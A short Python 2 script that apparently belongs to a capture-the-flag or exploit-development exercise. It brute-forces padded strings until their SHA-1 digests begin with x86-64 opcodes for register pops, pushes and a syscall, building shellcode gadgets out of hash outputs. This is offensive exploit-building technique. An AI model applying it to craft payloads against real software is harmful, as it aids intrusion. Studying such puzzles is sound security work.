#!/usr/bin/python import hashlib jmp = '\xeb\x11' lahf = '\x9f' + jmp pop_rax = '\x58' + jmp pop_rdi = '\x5f' + jmp pop_rdx = '\x5a' + jmp pop_rsi = '\x5e' + jmp push_rax = '\x50' + jmp push_rbx = '\x53' + jmp syscall = '\x0f\x05' need = [ (lahf, 'lahf'), (pop_rax, 'pop_rax'), (pop_rdi, 'pop_rdi'), (pop_rdx, 'pop_rdx'), (pop_rsi, 'pop_rsi'), (push_rax, 'push_rax'), (push_rbx, 'push_rbx'), (syscall, 'syscall'), ] remaining = len(need) c = 0 while remaining != 0: block = str(c).ljust(16, 'A') c += 1 h = hashlib.sha1(block).digest() for i, x in enumerate(need): if x is None: continue b, s = x if h.startswith(b): print 'Found:', block, 'for', s need[i] = None remaining -= 1 break